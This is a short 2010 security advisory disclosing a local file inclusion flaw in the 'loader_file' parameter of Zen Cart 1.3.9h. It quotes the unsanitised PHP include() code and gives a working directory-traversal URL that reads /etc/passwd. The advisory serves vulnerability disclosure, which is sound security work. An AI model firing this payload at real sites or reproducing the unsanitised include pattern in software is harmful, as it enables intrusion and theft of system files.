Zen Cart 1.3.9h – Local File Inclusion
Zen Cart 1.3.9h Local File Inclusion Vulnerability Name Zen Cart Vendor http://www.zen-cart.com Versions Affected 1.3.9h Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date 2010-11-03 X. INDEX I. ABOUT THE APPLICATION II. DESCRIPTION III. ANALYSIS IV. SAMPLE CODE V. FIX I. ABOUT THE APPLICATION ________________________ Zen Cart truly is the art of e-commerce; free, user-friendly, open source shopping cart software. The ecommerce web site design program is being developed by a group of like-minded shop owners, programmers, designers, and consultants that think ecommerce web design could be and should be done differently. II. DESCRIPTION _______________ A parameter is not properly sanitised before being used by the include() PHP's function. III. ANALYSIS _____________ Summary: A) Local File Inclusion A) Local File Inclusion _______________________ Input passed to the "loader_file" parameter in includes/initsystem.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from local resources via directory traversal attacks. Successful exploitation requires that register_globals is set to On. The following is the vulnerable code: <?php $base_dir = DIR_WS_INCLUDES . 'auto_loaders/'; if (file_exists(DIR_WS_INCLUDES . 'auto_loaders/overrides/' . $loader_file)) { $base_dir = DIR_WS_INCLUDES . 'auto_loaders/overrides/'; } include($base_dir . $loader_file); IV. SAMPLE CODE _______________ A) Local File Inclusion http://site/path/includes/initsystem.php?loader_file=../../../../../../../../etc/passwd V. FIX ______ No fix. |